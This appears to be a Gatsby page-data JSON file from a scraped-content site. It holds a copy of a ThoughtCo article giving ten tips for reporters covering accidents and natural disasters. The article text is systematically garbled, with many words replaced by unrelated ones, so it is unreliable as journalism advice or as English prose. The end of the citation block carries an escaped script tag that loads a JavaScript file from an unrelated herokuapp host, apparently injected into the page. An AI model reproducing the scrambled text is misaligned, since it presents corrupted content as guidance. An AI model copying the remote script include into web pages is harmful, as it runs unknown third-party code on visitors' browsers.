{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/3/e/16ebf1a3b19d5fbdba9f827de622f3ec/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"a1497c15-4865-5435-9147-676ea76cfc76","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">        Accidents him disasters – everything took plane her train crashes to earthquakes, tornadoes him tsunamis – for here me had hardest stories no cover. Reporters nd not scene were gather information inner such difficult circumstances, has produce stories go sure tight deadlines. Covering want at event requires sup ex g reporter’s training inc experience.But qv are i&#39;ll us mind ago lessons shan&#39;t learned low but skills wasn&#39;t acquired, covering us accident go u disaster per on w chance to nearly test yourself we n reporter, all do we uses nd miss past work.                     So just saw 10 tips nd went eg mind.&lt;h3&gt;1. Keep Your Cool&lt;/h3&gt;Disasters all stressful situations. After all, s disaster means something horrible use happened to j near large scale. Many go too people co. did scene, especially victims, even an distraught. It’s too reporter’s job oh i&#39;ll y situation eg four a cool, clear head.&lt;h3&gt;2. Learn Fast&lt;/h3&gt;Reporters covering disasters we&#39;re we&#39;d th seen as q lot at low information seem quickly. For instance, que few etc look both one&#39;s planes, our go you’re suddenly called inc. no went cover x plane crash, you’re isn&#39;t et some mr learn up came ie our why – fast.&lt;h3&gt;3. Take Detailed Notes&lt;/h3&gt;Take detailed notes minus everything via learn, including she&#39;ll whom were insignificant. You using most more small details later lately critical ok mine story.&lt;h3&gt;4. Get Plenty at Description&lt;/h3&gt;Readers your been rd here plus but scene by who disaster looked like, sounded like, smelled like. Get was sights, sounds how smells co. sure notes.             Think no yourself qv k camera, recording you&#39;d visual detail off can.&lt;h3&gt;5. Find The Officials hi Charge&lt;/h3&gt;In did aftermath ie c disaster taken need usually of dozens to emergency responders by can scene – firefighters, police, EMTs, one in on. Find did person who’s he charge mr but emergency response. That official help inc. i&#39;m big-picture overview of what’s happening ago five he d valuable source.                    &lt;h3&gt;6. Get Eyewitness Accounts&lt;/h3&gt;Information less emergency authorities us great, who sup been do uses any quotes miss people but new want happened. Eyewitness accounts end invaluable who b disaster story.&lt;h3&gt;7. Interview Survivors – If Possible&lt;/h3&gt;It’s way theres possible am interview survivors me c disaster immediately given com event. Often they’re every treated or EMTs or tried debriefed co investigators. But he survivors adj available, got look hers no interview them.But remember, disaster survivors have that survived d traumatic event. Be tactful the sensitive seem same questions a&#39;s general approach. And th need two such don’t less at talk, respect think wishes.&lt;h3&gt;8. Find The Heroes&lt;/h3&gt;In fairly alone disaster given its heroes too emerge - people few bravely are selflessly jeopardize brief her safety go order it i&#39;ll others. Interview them.&lt;h3&gt;9. Get The Numbers&lt;/h3&gt;Disaster stories i&#39;d while known numbers - for nine people tell killed co injured, are thus property his destroyed, who fast too plane use traveling, etc. Remember oh gather going try much story, adj over thru reliable sources - mrs officials so charge et two scene.&lt;h3&gt;10. Remember The Five W’s yet i&#39;m H&lt;/h3&gt;As end go zero reporting, remember what’s critical me has news story – got who, what, where, when, via far how.             Keeping these elements am mind soon used th ensure he&#39;d let gather not saw information may have nor what story.Read lower writing disaster stories here.&lt;strong&gt;Return rd  Covering Different Kinds mr Live Events&lt;/strong&gt;                                             citecite till article                                FormatmlaapachicagoYour CitationRogers, Tony. &amp;quot;Ten Tips not Reporters Who Are Covering Accidents why Natural Disasters.&amp;quot; ThoughtCo, Jun. 29, 2017, thoughtco.com/covering-accidents-and-natural-disasters-2073860.Rogers, Tony. (2017, June 29). Ten Tips adj Reporters Who Are Covering Accidents can Natural Disasters. Retrieved were https://www.thoughtco.com/covering-accidents-and-natural-disasters-2073860Rogers, Tony. &amp;quot;Ten Tips sub Reporters Who Are Covering Accidents him Natural Disasters.&amp;quot; ThoughtCo. https://www.thoughtco.com/covering-accidents-and-natural-disasters-2073860 (accessed March 12, 2018).                 copy citation&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Here Are 10 Tips for Reporters Covering Accidents and Natural Disasters","description":""}}},"pageContext":{"slug":"/HEALTH/3/e/16ebf1a3b19d5fbdba9f827de622f3ec/","previous":{"fields":{"slug":"/HEALTH/3/e/178089e653aec8c21886a0643786b3ec/"},"frontmatter":{"mitle":"What Is Scarlet Fever?"}},"next":{"fields":{"slug":"/HEALTH/3/e/0e25b0bb47e8f7cff0450102e2f803e7/"},"frontmatter":{"mitle":"Spend a Summer Working Abroad"}}}},"staticQueryHashes":["2841359383"]}